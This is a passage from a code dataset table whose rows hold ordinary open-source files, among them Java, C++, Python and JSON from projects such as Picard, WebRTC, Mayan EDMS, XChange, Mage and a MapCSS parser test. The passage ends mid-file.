max_stars_count
int64 301
224k
| text
stringlengths 6
1.05M
| token_count
int64 3
727k
|
---|---|---|
798 | /*
* The MIT License
*
* Copyright (c) 2019 The Broad Institute
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package picard.arrays;
import htsjdk.samtools.util.IOUtil;
import picard.PicardException;
import java.io.File;
import java.io.FileNotFoundException;
import java.util.HashMap;
import java.util.Map;
/**
* Represents a single-sample .ped file output from ZCall.
*/
class ZCallPedFile {
private static final int OFFSET = 6;
private final Map<String, String> snpToAlleleMap = new HashMap<>();
private void addAllele(final String snp, final String allele) {
snpToAlleleMap.put(snp, allele);
}
String getAlleles(final String snp) {
return snpToAlleleMap.get(snp);
}
/**
*
* @param pedFile .ped files are whitespace-separated files.
* The .ped format is defined at http://zzz.bwh.harvard.edu/plink/data.shtml#ped.
* The first six columns, in the following order, are mandatory:
* Family ID
* Individual ID
* Paternal ID
* Maternal ID
* Sex (1 = male, 2 = female, other = unknown)
* Phenotype
* The seventh column onward should be biallelic genotype data. ZCall outputs these as A or B,
* representing which cluster an allele falls in. Each element of the biallelic pairs should still
* be tab-separated.
* This file should be a single line, representing a single sample.
* @param mapFile .map files are whitespace-separated files.
* The .map format is defined at http://zzz.bwh.harvard.edu/plink/data.shtml#map.
* It has exactly four columns in the following order:
* Chromosome (1-22, X, Y, or 0 if unknown)
* rs# or SNP identifier
* Genetic distance in morgans
* Base-pair position in bp units
* @return A ZCallPedFile representing the input .ped and .map files.
* @throws FileNotFoundException
*/
public static ZCallPedFile fromFile(final File pedFile,
final File mapFile) throws FileNotFoundException {
final String[] pedFileLines = IOUtil.slurpLines(pedFile).toArray(new String[0]);
if (pedFileLines.length > 1) {
throw new PicardException("Only single-sample .ped files are supported.");
}
final String[] pedFileFields = IOUtil.slurp(pedFile).split("\\s");
final String[] mapFileLines = IOUtil.slurpLines(mapFile).toArray(new String[0]);
final ZCallPedFile zCallPedFile = new ZCallPedFile();
/* first six fields are ignored
Family ID
Individual ID
Paternal ID
Maternal ID
Sex (1=male; 2=female; other=unknown)
Phenotype
*/
//two fields for each snp (each allele)
for (int i = 0; i < mapFileLines.length; i++) {
final int index = (i * 2) + OFFSET;
// The fields are supposed to be one character each
if (pedFileFields[index].length() != 1 || pedFileFields[index + 1].length() != 1) {
throw new PicardException("Malformed file: each allele should be a single character.");
}
final String alleles = pedFileFields[index] + pedFileFields[index + 1];
zCallPedFile.addAllele(mapFileLines[i].split("\\s")[1], alleles);
}
return zCallPedFile;
}
}
| 1,888 |
1,031 | import wrapmacro
a = 2
b = -1
wrapmacro.maximum(a, b)
wrapmacro.maximum(a / 7.0, -b * 256)
wrapmacro.GUINT16_SWAP_LE_BE_CONSTANT(1)
| 66 |
1,337 | /*
* Copyright (c) 2008-2019 Haulmont.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.haulmont.cuba.gui.components;
import com.haulmont.bali.events.Subscription;
import com.haulmont.cuba.core.sys.BeanLocatorAware;
import com.haulmont.cuba.gui.Screens.LaunchMode;
import com.haulmont.cuba.gui.meta.*;
import com.haulmont.cuba.gui.screen.Screen;
import com.haulmont.cuba.gui.screen.ScreenOptions;
import com.haulmont.cuba.gui.sys.UiControllerProperty;
import java.util.Collection;
import java.util.EventObject;
import java.util.function.Consumer;
import java.util.function.Supplier;
/**
* Prepares and shows screens.
*/
@StudioFacet(
xmlElement = "screen",
caption = "Screen",
description = "Prepares and shows screens",
defaultProperty = "screenId",
category = "Facets",
icon = "icon/screen.svg",
documentationURL = "https://doc.cuba-platform.com/manual-%VERSION%/gui_ScreenFacet.html"
)
@StudioProperties(
properties = {
@StudioProperty(name = "id", type = PropertyType.COMPONENT_ID, required = true)
}
)
public interface ScreenFacet<S extends Screen> extends Facet, BeanLocatorAware {
/**
* Sets the id of screen to open.
*
* @param screenId screen id
*/
@StudioProperty(type = PropertyType.STRING)
void setScreenId(String screenId);
/**
* @return screen id
*/
String getScreenId();
/**
* Sets class of screen to open.
*
* @param screenClass screen class
*/
@StudioProperty(type = PropertyType.SCREEN_CLASS_NAME, typeParameter = "S")
void setScreenClass(Class<S> screenClass);
/**
* @return class of screen to open
*/
Class<S> getScreenClass();
/**
* Sets screen {@link LaunchMode}.
*
* @param launchMode launch mode
*/
@StudioProperty(name = "openMode", type = PropertyType.SCREEN_OPEN_MODE, defaultValue = "NEW_TAB")
void setLaunchMode(LaunchMode launchMode);
/**
* @return screen {@link LaunchMode}
*/
LaunchMode getLaunchMode();
/**
* Sets the given {@code Supplier} as screen options provider.
*
* @param optionsProvider screen options provider
*/
void setOptionsProvider(Supplier<ScreenOptions> optionsProvider);
/**
* @return {@link ScreenOptions} provider
*/
Supplier<ScreenOptions> getOptionsProvider();
/**
* Sets properties that will be injected into opened screen via public setters.
*
* @param properties screen properties
*/
@StudioElementsGroup(xmlElement = "properties")
void setProperties(Collection<UiControllerProperty> properties);
/**
* @return properties that will be injected into opened screen via public setters.
*/
Collection<UiControllerProperty> getProperties();
/**
* @return id of action that triggers screen
*/
String getActionTarget();
/**
* Sets that screen should be shown when action with id {@code actionId} is performed.
*
* @param actionId action id
*/
@StudioProperty(name = "onAction", type = PropertyType.COMPONENT_REF,
options = "com.haulmont.cuba.gui.components.Action")
void setActionTarget(String actionId);
/**
* @return id of button that triggers screen
*/
String getButtonTarget();
/**
* Sets that screen should be shown when button with id {@code actionId} is clicked.
*
* @param buttonId button id
*/
@StudioProperty(name = "onButton", type = PropertyType.COMPONENT_REF,
options = "com.haulmont.cuba.gui.components.Button")
void setButtonTarget(String buttonId);
/**
* @return new screen instance
*/
S create();
/**
* Shows and returns screen.
*/
S show();
/**
* Adds the given {@code Consumer} as screen after show event listener.
*
* @param listener listener
* @return after show event subscription
*/
Subscription addAfterShowEventListener(Consumer<AfterShowEvent> listener);
/**
* Adds the given {@code Consumer} as screen after close event listener.
*
* @param listener listener
* @return after close event subscription
*/
Subscription addAfterCloseEventListener(Consumer<AfterCloseEvent> listener);
/**
* Event that is fired after screen show.
*/
class AfterShowEvent extends EventObject {
protected Screen screen;
public AfterShowEvent(ScreenFacet source, Screen screen) {
super(source);
this.screen = screen;
}
@Override
public ScreenFacet getSource() {
return (ScreenFacet) super.getSource();
}
public Screen getScreen() {
return screen;
}
}
/**
* Event that is fired when screen is closed.
*/
class AfterCloseEvent extends EventObject {
protected Screen screen;
public AfterCloseEvent(ScreenFacet source, Screen screen) {
super(source);
this.screen = screen;
}
@Override
public ScreenFacet getSource() {
return (ScreenFacet) super.getSource();
}
public Screen getScreen() {
return screen;
}
}
}
| 2,131 |
5,169 | {
"name": "MdcLib",
"version": "1.1.2",
"summary": "None",
"description": "The MdcLib iOS SDK, the SDK supports iOS7, iOS 8, iOS 9 and iOS 10",
"homepage": "https://github.com/duplicater/MdcLib.git",
"license": {
"type": "MIT",
"file": "LICENSE"
},
"authors": {
"lecuong": "<EMAIL>"
},
"source": {
"http": "https://github.com/duplicater/MdcLib/releases/download/1.1.2/MdcLib.zip"
},
"frameworks": [
"UIKit",
"MapKit",
"Foundation",
"SystemConfiguration",
"CoreTelephony",
"Accelerate",
"CoreGraphics",
"QuartzCore"
],
"libraries": "icucore",
"dependencies": {
"SDWebImage": [
"~>3.8"
],
"UIImageView-Letters": [
],
"CCBottomRefreshControl": [
]
},
"platforms": {
"ios": "8.0"
},
"requires_arc": true,
"preserve_paths": "MdcLib.framework",
"public_header_files": "MdcLib.framework/Versions/A/Headers/*",
"source_files": "MdcLib.framework/Versions/A/Headers/*",
"resources": "MdcLib.Bundle",
"vendored_frameworks": "MdcLib.framework"
}
| 472 |
2,151 | /*
* Copyright (c) 2017 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
#include "modules/audio_processing/test/conversational_speech/multiend_call.h"
#include <algorithm>
#include <iterator>
#include "rtc_base/logging.h"
#include "rtc_base/pathutils.h"
namespace webrtc {
namespace test {
namespace conversational_speech {
MultiEndCall::MultiEndCall(
rtc::ArrayView<const Turn> timing, const std::string& audiotracks_path,
std::unique_ptr<WavReaderAbstractFactory> wavreader_abstract_factory)
: timing_(timing), audiotracks_path_(audiotracks_path),
wavreader_abstract_factory_(std::move(wavreader_abstract_factory)),
valid_(false) {
FindSpeakerNames();
if (CreateAudioTrackReaders())
valid_ = CheckTiming();
}
MultiEndCall::~MultiEndCall() = default;
void MultiEndCall::FindSpeakerNames() {
RTC_DCHECK(speaker_names_.empty());
for (const Turn& turn : timing_) {
speaker_names_.emplace(turn.speaker_name);
}
}
bool MultiEndCall::CreateAudioTrackReaders() {
RTC_DCHECK(audiotrack_readers_.empty());
sample_rate_hz_ = 0; // Sample rate will be set when reading the first track.
for (const Turn& turn : timing_) {
auto it = audiotrack_readers_.find(turn.audiotrack_file_name);
if (it != audiotrack_readers_.end())
continue;
// Instance Pathname to retrieve the full path to the audiotrack file.
const rtc::Pathname audiotrack_file_path(
audiotracks_path_, turn.audiotrack_file_name);
// Map the audiotrack file name to a new instance of WavReaderInterface.
std::unique_ptr<WavReaderInterface> wavreader =
wavreader_abstract_factory_->Create(audiotrack_file_path.pathname());
if (sample_rate_hz_ == 0) {
sample_rate_hz_ = wavreader->SampleRate();
} else if (sample_rate_hz_ != wavreader->SampleRate()) {
RTC_LOG(LS_ERROR)
<< "All the audio tracks should have the same sample rate.";
return false;
}
if (wavreader->NumChannels() != 1) {
RTC_LOG(LS_ERROR) << "Only mono audio tracks supported.";
return false;
}
audiotrack_readers_.emplace(
turn.audiotrack_file_name, std::move(wavreader));
}
return true;
}
bool MultiEndCall::CheckTiming() {
struct Interval {
size_t begin;
size_t end;
};
size_t number_of_turns = timing_.size();
auto millisecond_to_samples = [](int ms, int sr) -> int {
// Truncation may happen if the sampling rate is not an integer multiple
// of 1000 (e.g., 44100).
return ms * sr / 1000;
};
auto in_interval = [](size_t value, const Interval& interval) {
return interval.begin <= value && value < interval.end;
};
total_duration_samples_ = 0;
speaking_turns_.clear();
// Begin and end timestamps for the last two turns (unit: number of samples).
Interval second_last_turn = {0, 0};
Interval last_turn = {0, 0};
// Initialize map to store speaking turn indices of each speaker (used to
// detect self cross-talk).
std::map<std::string, std::vector<size_t>> speaking_turn_indices;
for (const std::string& speaker_name : speaker_names_) {
speaking_turn_indices.emplace(
std::piecewise_construct,
std::forward_as_tuple(speaker_name),
std::forward_as_tuple());
}
// Parse turns.
for (size_t turn_index = 0; turn_index < number_of_turns; ++turn_index) {
const Turn& turn = timing_[turn_index];
auto it = audiotrack_readers_.find(turn.audiotrack_file_name);
RTC_CHECK(it != audiotrack_readers_.end())
<< "Audio track reader not created";
// Begin and end timestamps for the current turn.
int offset_samples = millisecond_to_samples(
turn.offset, it->second->SampleRate());
std::size_t begin_timestamp = last_turn.end + offset_samples;
std::size_t end_timestamp = begin_timestamp + it->second->NumSamples();
RTC_LOG(LS_INFO) << "turn #" << turn_index << " " << begin_timestamp << "-"
<< end_timestamp << " ms";
// The order is invalid if the offset is negative and its absolute value is
// larger then the duration of the previous turn.
if (offset_samples < 0 && -offset_samples > static_cast<int>(
last_turn.end - last_turn.begin)) {
RTC_LOG(LS_ERROR) << "invalid order";
return false;
}
// Cross-talk with 3 or more speakers occurs when the beginning of the
// current interval falls in the last two turns.
if (turn_index > 1 && in_interval(begin_timestamp, last_turn)
&& in_interval(begin_timestamp, second_last_turn)) {
RTC_LOG(LS_ERROR) << "cross-talk with 3+ speakers";
return false;
}
// Append turn.
speaking_turns_.emplace_back(turn.speaker_name, turn.audiotrack_file_name,
begin_timestamp, end_timestamp, turn.gain);
// Save speaking turn index for self cross-talk detection.
RTC_DCHECK_EQ(speaking_turns_.size(), turn_index + 1);
speaking_turn_indices[turn.speaker_name].push_back(turn_index);
// Update total duration of the consversational speech.
if (total_duration_samples_ < end_timestamp)
total_duration_samples_ = end_timestamp;
// Update and continue with next turn.
second_last_turn = last_turn;
last_turn.begin = begin_timestamp;
last_turn.end = end_timestamp;
}
// Detect self cross-talk.
for (const std::string& speaker_name : speaker_names_) {
RTC_LOG(LS_INFO) << "checking self cross-talk for <" << speaker_name << ">";
// Copy all turns for this speaker to new vector.
std::vector<SpeakingTurn> speaking_turns_for_name;
std::copy_if(speaking_turns_.begin(), speaking_turns_.end(),
std::back_inserter(speaking_turns_for_name),
[&speaker_name](const SpeakingTurn& st){
return st.speaker_name == speaker_name; });
// Check for overlap between adjacent elements.
// This is a sufficient condition for self cross-talk since the intervals
// are sorted by begin timestamp.
auto overlap = std::adjacent_find(
speaking_turns_for_name.begin(), speaking_turns_for_name.end(),
[](const SpeakingTurn& a, const SpeakingTurn& b) {
return a.end > b.begin; });
if (overlap != speaking_turns_for_name.end()) {
RTC_LOG(LS_ERROR) << "Self cross-talk detected";
return false;
}
}
return true;
}
} // namespace conversational_speech
} // namespace test
} // namespace webrtc
| 2,518 |
13,006 | /*******************************************************************************
* Copyright (c) 2015-2018 Skymind, Inc.
*
* This program and the accompanying materials are made available under the
* terms of the Apache License, Version 2.0 which is available at
* https://www.apache.org/licenses/LICENSE-2.0.
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*
* SPDX-License-Identifier: Apache-2.0
******************************************************************************/
package org.datavec.api.transform.ui.components;
import lombok.Data;
import lombok.EqualsAndHashCode;
import java.util.ArrayList;
import java.util.List;
/**
* Created by Alex on 25/03/2016.
*/
@EqualsAndHashCode(callSuper = true)
@Data
public class RenderableComponentHistogram extends RenderableComponent {
public static final String COMPONENT_TYPE = "histogram";
private String title;
private List<Double> lowerBounds = new ArrayList<>();
private List<Double> upperBounds = new ArrayList<>();
private List<Double> yValues = new ArrayList<>();
private int marginTop;
private int marginBottom;
private int marginLeft;
private int marginRight;
public RenderableComponentHistogram(Builder builder) {
super(COMPONENT_TYPE);
this.title = builder.title;
this.lowerBounds = builder.lowerBounds;
this.upperBounds = builder.upperBounds;
this.yValues = builder.yValues;
this.marginTop = builder.marginTop;
this.marginBottom = builder.marginBottom;
this.marginLeft = builder.marginLeft;
this.marginRight = builder.marginRight;
}
public static class Builder {
private String title;
private List<Double> lowerBounds = new ArrayList<>();
private List<Double> upperBounds = new ArrayList<>();
private List<Double> yValues = new ArrayList<>();
private int marginTop = 60;
private int marginBottom = 60;
private int marginLeft = 60;
private int marginRight = 20;
public Builder title(String title) {
this.title = title;
return this;
}
public Builder addBin(double lower, double upper, double yValue) {
lowerBounds.add(lower);
upperBounds.add(upper);
yValues.add(yValue);
return this;
}
public Builder margins(int top, int bottom, int left, int right) {
this.marginTop = top;
this.marginBottom = bottom;
this.marginLeft = left;
this.marginRight = right;
return this;
}
public RenderableComponentHistogram build() {
return new RenderableComponentHistogram(this);
}
}
}
| 1,067 |
343 | <filename>mayan/apps/tags/tests/test_tag_document_api.py
from rest_framework import status
from mayan.apps.documents.permissions import permission_document_view
from mayan.apps.documents.tests.mixins.document_mixins import DocumentTestMixin
from mayan.apps.rest_api.tests.base import BaseAPITestCase
from ..permissions import permission_tag_view
from .mixins import TagAPIViewTestMixin, TagTestMixin
class TagDocumentAPIViewTestCase(
DocumentTestMixin, TagAPIViewTestMixin, TagTestMixin, BaseAPITestCase
):
auto_upload_test_document = False
def setUp(self):
super().setUp()
self._create_test_tag()
self._create_test_document_stub()
def test_tag_document_list_api_view_no_permission(self):
self.test_tag.documents.add(self.test_document)
self._clear_events()
response = self._request_test_tag_document_list_api_view()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_tag_document_list_api_view_with_tag_access(self):
self.test_tag.documents.add(self.test_document)
self.grant_access(obj=self.test_tag, permission=permission_tag_view)
self._clear_events()
response = self._request_test_tag_document_list_api_view()
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['count'], 0)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_tag_document_list_api_view_with_document_access(self):
self.test_tag.documents.add(self.test_document)
self._clear_events()
self.grant_access(
obj=self.test_document, permission=permission_document_view
)
self._clear_events()
response = self._request_test_tag_document_list_api_view()
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_tag_document_list_api_view_with_full_access(self):
self.test_tag.documents.add(self.test_document)
self.grant_access(obj=self.test_tag, permission=permission_tag_view)
self.grant_access(
obj=self.test_document, permission=permission_document_view
)
self._clear_events()
response = self._request_test_tag_document_list_api_view()
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(
response.data['results'][0]['uuid'],
str(self.test_document.uuid)
)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
def test_tag_trashed_document_list_api_view_with_full_access(self):
self.test_tag.documents.add(self.test_document)
self.grant_access(obj=self.test_tag, permission=permission_tag_view)
self.grant_access(
obj=self.test_document, permission=permission_document_view
)
self.test_document.delete()
self._clear_events()
response = self._request_test_tag_document_list_api_view()
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.data['count'], 0)
events = self._get_test_events()
self.assertEqual(events.count(), 0)
| 1,422 |
399 | <gh_stars>100-1000
package org.cryptocoinpartners.module.xchange;
import java.util.Date;
import org.cryptocoinpartners.enumeration.PositionEffect;
import org.cryptocoinpartners.schema.Listing;
import org.cryptocoinpartners.schema.SpecificOrder;
import org.cryptocoinpartners.util.XchangeUtil;
import org.knowm.xchange.poloniex.dto.trade.PoloniexOrderFlags;
import org.knowm.xchange.service.trade.params.TradeHistoryParams;
import org.knowm.xchange.service.trade.params.TradeHistoryParamsAll;
@SuppressWarnings("UnusedDeclaration")
public class PoloniexHelper extends XchangeHelperBase {
/**
* Send the lastTradeTime in millis as the first parameter to getTrades()
*
* @return
*/
@Override
public Object[] getOrderBookParameters(Listing listing) {
return new Object[] { Integer.valueOf(50) };
}
@Override
public TradeHistoryParams getTradeHistoryParameters(Listing listing, long lastTradeTime, long lastTradeId) {
TradeHistoryParamsAll all = new TradeHistoryParamsAll();
all.setCurrencyPair(XchangeUtil.getCurrencyPairForListing(listing));
all.setStartTime(new Date(lastTradeTime));
return all;
}
@Override
public org.knowm.xchange.dto.Order adjustOrder(SpecificOrder specificOrder, org.knowm.xchange.dto.Order xchangeOrder) {
//Set Margin Flags
if (specificOrder.getPositionEffect() == PositionEffect.OPEN || specificOrder.getPositionEffect() == PositionEffect.CLOSE) {
xchangeOrder.addOrderFlag(PoloniexOrderFlags.MARGIN);
}
//we need to adjust any exit's shorts to be inculsive of fees
//we need to set the order as a market closing order if there is no quanity on the exchange this is to auto settle the unknown loans.
return xchangeOrder;
}
/*
* @Override public Object[] getTradesParameters(CurrencyPair pair, final long lastTradeTime, long lastTradeId) { return new
* Object[]{Long.valueOf(lastTradeTime / 1000), new DateTime().getMillis() / 1000}; }
*/
// @Override
// public IOrderFlags[] getOrderFlags(SpecificOrder specificOrder) {
// if (specificOrder.getPositionEffect() == PositionEffect.OPEN || specificOrder.getPositionEffect() == PositionEffect.CLOSE) {
//
// IOrderFlags[] flags = new IOrderFlags[1];
// flags[0] = PoloniexOrderFlags.MARGIN;
//
// return flags;
// }
// return new IOrderFlags[0];
//
// }
}
| 804 |
575 | <gh_stars>100-1000
// Copyright 2021 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef ASH_AMBIENT_UI_AMBIENT_SHIELD_VIEW_H_
#define ASH_AMBIENT_UI_AMBIENT_SHIELD_VIEW_H_
#include "ui/views/metadata/metadata_header_macros.h"
#include "ui/views/view.h"
namespace ash {
class AmbientShieldView : public views::View {
public:
METADATA_HEADER(AmbientShieldView);
AmbientShieldView();
AmbientShieldView(const AmbientShieldView&) = delete;
AmbientShieldView& operator=(const AmbientShieldView&) = delete;
~AmbientShieldView() override;
private:
void InitLayout();
};
} // namespace ash
#endif // ASH_AMBIENT_UI_AMBIENT_SHIELD_VIEW_H_
| 264 |
1,444 | package mage.cards.p;
import mage.abilities.Ability;
import mage.abilities.effects.OneShotEffect;
import mage.abilities.effects.common.continuous.GainAbilityTargetEffect;
import mage.abilities.keyword.ProtectionAbility;
import mage.cards.CardImpl;
import mage.cards.CardSetInfo;
import mage.choices.ChoiceColor;
import mage.constants.CardType;
import mage.constants.Duration;
import mage.constants.Outcome;
import mage.game.Game;
import mage.players.Player;
import mage.target.common.TargetCreaturePermanent;
import mage.target.targetadjustment.XTargetsAdjuster;
import java.util.UUID;
/**
* @author TheElk801
*/
public final class PrismaticBoon extends CardImpl {
public PrismaticBoon(UUID ownerId, CardSetInfo setInfo) {
super(ownerId, setInfo, new CardType[]{CardType.INSTANT}, "{X}{W}{U}");
// Choose a color. X target creatures gain protection from the chosen color until end of turn.
this.getSpellAbility().addEffect(new PrismaticBoonEffect());
this.getSpellAbility().addTarget(new TargetCreaturePermanent());
this.getSpellAbility().setTargetAdjuster(XTargetsAdjuster.instance);
}
private PrismaticBoon(final PrismaticBoon card) {
super(card);
}
@Override
public PrismaticBoon copy() {
return new PrismaticBoon(this);
}
}
class PrismaticBoonEffect extends OneShotEffect {
PrismaticBoonEffect() {
super(Outcome.Benefit);
staticText = "Choose a color. X target creatures gain protection from the chosen color until end of turn.";
}
private PrismaticBoonEffect(final PrismaticBoonEffect effect) {
super(effect);
}
@Override
public PrismaticBoonEffect copy() {
return new PrismaticBoonEffect(this);
}
@Override
public boolean apply(Game game, Ability source) {
Player player = game.getPlayer(source.getControllerId());
if (player == null) {
return false;
}
ChoiceColor choice = new ChoiceColor();
if (!player.choose(outcome, choice, game)) {
return false;
}
game.addEffect(new GainAbilityTargetEffect(
ProtectionAbility.from(choice.getColor()), Duration.EndOfTurn
), source);
return true;
}
}
| 821 |
555 | <gh_stars>100-1000
#!/usr/bin/env python3
"""
reloadall.py: transitively reload nested module (2.x + 3.x)
Call reload_all with one or more import module module objects
"""
import types
from imp import reload # from required in 3.x
def status(module):
print('reloading ' + module.__name__)
def tryreload(module):
try:
reload(module)
except:
print('FAILED: %s' % module)
def transitive_reload(module, visited):
if not module in visited: # Trap cycles, duplicates
status(module) # Reload this module
tryreload(module) # And visit children
visited[module] = True
for attrobj in module.__dict__.values(): # For all attrs
if type(attrobj) == types.ModuleType: # Recur if module
transitive_reload(attrobj, visited)
def reload_all(*args):
visited = {} # Main entry point
for arg in args: # For all passed in
if type(arg) == types.ModuleType:
transitive_reload(arg, visited)
def tester(reloader, modname): # Self-test code
import importlib
import sys # Import on tests only
if len(sys.argv) > 1:
modname = sys.argv[1] # command line (or passed)
module = importlib.import_module(modname) # Import by name string
reloader(module) # Test passed-in reloade
if __name__ == '__main__':
tester(reload_all, 'reloadall')
| 541 |
797 | /*
* Copyright (c) 2015-present, <NAME>
* All rights reserved.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
package com.intellij.lang.jsgraphql.ide.structureView;
import com.intellij.ide.structureView.StructureViewModel;
import com.intellij.ide.structureView.StructureViewTreeElement;
import com.intellij.ide.structureView.TextEditorBasedStructureViewModel;
import com.intellij.lang.jsgraphql.psi.GraphQLElement;
import com.intellij.lang.jsgraphql.psi.GraphQLElementTypes;
import com.intellij.lang.jsgraphql.psi.GraphQLField;
import com.intellij.openapi.editor.Editor;
import com.intellij.psi.PsiElement;
import com.intellij.psi.impl.source.tree.LeafPsiElement;
import com.intellij.psi.util.PsiTreeUtil;
import org.jetbrains.annotations.NotNull;
public class GraphQLStructureViewModel extends TextEditorBasedStructureViewModel implements StructureViewModel.ElementInfoProvider {
private final GraphQLStructureViewTreeElement root;
public GraphQLStructureViewModel(PsiElement root, Editor editor) {
super(editor, root.getContainingFile());
this.root = new GraphQLStructureViewTreeElement(root, root);
}
@Override
public boolean isAlwaysShowsPlus(StructureViewTreeElement element) {
return false;
}
@Override
public boolean isAlwaysLeaf(StructureViewTreeElement element) {
if (element instanceof GraphQLStructureViewTreeElement) {
GraphQLStructureViewTreeElement treeElement = (GraphQLStructureViewTreeElement) element;
if (treeElement.childrenBase instanceof LeafPsiElement) {
return true;
}
if (treeElement.childrenBase instanceof GraphQLField) {
final PsiElement[] children = treeElement.childrenBase.getChildren();
if (children.length == 0) {
// field with no sub selections, but we have to check if there's attributes
final PsiElement nextVisible = PsiTreeUtil.nextVisibleLeaf(treeElement.childrenBase);
if (nextVisible != null && nextVisible.getNode().getElementType() == GraphQLElementTypes.PAREN_L) {
return false;
}
return true;
}
if (children.length == 1 && children[0] instanceof LeafPsiElement) {
return true;
}
}
}
return false;
}
@Override
protected boolean isSuitable(PsiElement element) {
return element instanceof GraphQLElement;
}
@NotNull
@Override
public StructureViewTreeElement getRoot() {
return root;
}
}
| 1,091 |
439 | {
"blurb": "Given a decimal number, convert it to the appropriate sequence of events for a secret handshake.",
"authors": [
"stkent"
],
"contributors": [
"c-thornton",
"FridaTveit",
"jmrunkle",
"kytrinyx",
"lemoncurry",
"morrme",
"msomji",
"muzimuzhi",
"sjwarner-bp",
"SleeplessByte",
"Smarticles101",
"sshine",
"vasouv",
"vivshaw",
"Zaldrick"
],
"files": {
"solution": [
"src/main/java/HandshakeCalculator.java"
],
"test": [
"src/test/java/HandshakeCalculatorTest.java"
],
"example": [
".meta/src/reference/java/HandshakeCalculator.java"
]
},
"source": "Bert, in Mary Poppins",
"source_url": "http://www.imdb.com/title/tt0058331/quotes/qt0437047"
}
| 367 |
946 | #include "config.hpp"
#include "mapcss/StyleSheet.hpp"
#include "mapcss/MapCssParser.hpp"
#include <boost/test/unit_test.hpp>
#include <fstream>
using namespace utymap::mapcss;
namespace {
struct MapCss_MapCssParserFixture {
MapCss_MapCssParserFixture() :
parser(),
stylesheet() {
}
MapCssParser parser;
StyleSheet stylesheet;
Rule rule(std::size_t index = 0) { return stylesheet.rules[index]; }
Selector selector(std::size_t index = 0) { return stylesheet.rules[0].selectors[index]; }
Declaration declaration(std::size_t index = 0) { return stylesheet.rules[0].declarations[index]; }
Condition condition(std::size_t index = 0) { return stylesheet.rules[0].selectors[0].conditions[index]; }
Zoom zoom() { return stylesheet.rules[0].selectors[0].zoom; }
};
}
BOOST_FIXTURE_TEST_SUITE(MapCss_MapCssParser, MapCss_MapCssParserFixture)
/* Comment */
BOOST_AUTO_TEST_CASE(GivenCppComment_WhenParse_ThenDoesNotBreak) {
std::string str = "/* Some \nncomment */\n way|z1-15[highway] {key:value;}";
stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(stylesheet.rules.size(), 1);
}
BOOST_AUTO_TEST_CASE(GivenHtmlComment_WhenParse_ThenDoesNotBreak) {
std::string str = "<!--Some \ncomment-->\n way|z1-15[highway] {key:value;}";
stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(stylesheet.rules.size(), 1);
}
/* Condition */
BOOST_AUTO_TEST_CASE(GivenExistenceCondition_WhenParse_ThenOnlyKeyIsSet) {
std::string str = "way|z1-15[highway] {key:value;}";
stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(condition().key, "highway");
BOOST_CHECK(condition().operation.empty());
BOOST_CHECK(condition().value.empty());
}
BOOST_AUTO_TEST_CASE(GivenEqualCondition_WhenParse_ThenKeyOpValueAreSet) {
std::string str = "way|z1-15[highway=primary] {key:value;}";
stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(condition().key, "highway");
BOOST_CHECK_EQUAL(condition().operation, "=");
BOOST_CHECK_EQUAL(condition().value, "primary");
}
BOOST_AUTO_TEST_CASE(GivenNegativeCondition_WhenParse_ThenKeyOpValueAreSet) {
std::string str = "way|z1-15[highway!=primary] {key:value;}";
stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(condition().key, "highway");
BOOST_CHECK_EQUAL(condition().operation, "!=");
BOOST_CHECK_EQUAL(condition().value, "primary");
}
/* Zoom */
BOOST_AUTO_TEST_CASE(GivenOneZoom_WhenParse_ThenStartAndEndAreSet) {
std::string str = "way|z1[highway] {key:value;}";
stylesheet = parser.parse(str);
BOOST_CHECK_EQUAL(zoom().start, 1);
BOOST_CHECK_EQUAL(zoom().end, 1);
}
BOOST_AUTO_TEST_CASE(GivenZoomRange_WhenParse_ThenStartAndEndAreSet) {
std::string str = "way|z12-21[highway] {key:value;}";
